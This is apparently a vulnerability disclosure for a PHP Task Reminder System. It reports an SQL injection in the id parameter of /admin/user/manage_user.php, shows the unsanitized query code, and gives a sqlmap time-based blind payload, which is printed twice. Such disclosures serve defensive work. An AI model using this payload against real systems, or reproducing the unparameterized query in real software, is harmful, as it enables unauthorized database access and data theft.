SQL injection vulnerability exists in id parameter of /admin/user/manage_user.php file of Task Reminder System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /admin/index.php and page parameter is 'user/manage_user',it will include /admin/user/manage_user.php,and id parameter can do sql injection.

/admin/index.php:

```php
<?php $page = isset($_GET['page']) ? $_GET['page'] : 'home';  ?>
 <!-- Content Wrapper. Contains page content -->
 <div class="content-wrapper  pt-3" style="min-height: 567.854px;">

   <!-- Main content -->
   <section class="content  text-dark">
     <div class="container-fluid pb-2">
       <?php
         if(!file_exists($page.".php") && !is_dir($page)){
             include '404.html';
         }else{
           if(is_dir($page))
             include $page.'/index.php';
           else
             include $page.'.php';
         }
       ?>
```

/admin/user/manage_user.php:

```php
if(isset($_GET['id'])){
    $user = $conn->query("SELECT * FROM users where id ='{$_GET['id']}' ");
    foreach($user->fetch_array() as $k =>$v){
        $meta[$k] = $v;
    }
}
?>
```

```
sqlmap identified the following injection point(s) with a total of 448 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=user/manage_user&id=1' AND (SELECT 9923 FROM (SELECT(SLEEP(5)))BPqN) AND 'piwy'='piwy
---
```

“

Parameter: id (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=user/manage_user&id=1' AND (SELECT 9923 FROM (SELECT(SLEEP(5)))BPqN) AND 'piwy'='piwy

---

“

Source Download：

https://www.sourcecodester.com/php/16451/task-reminder-system-php-and-mysql-source-code-free-download.html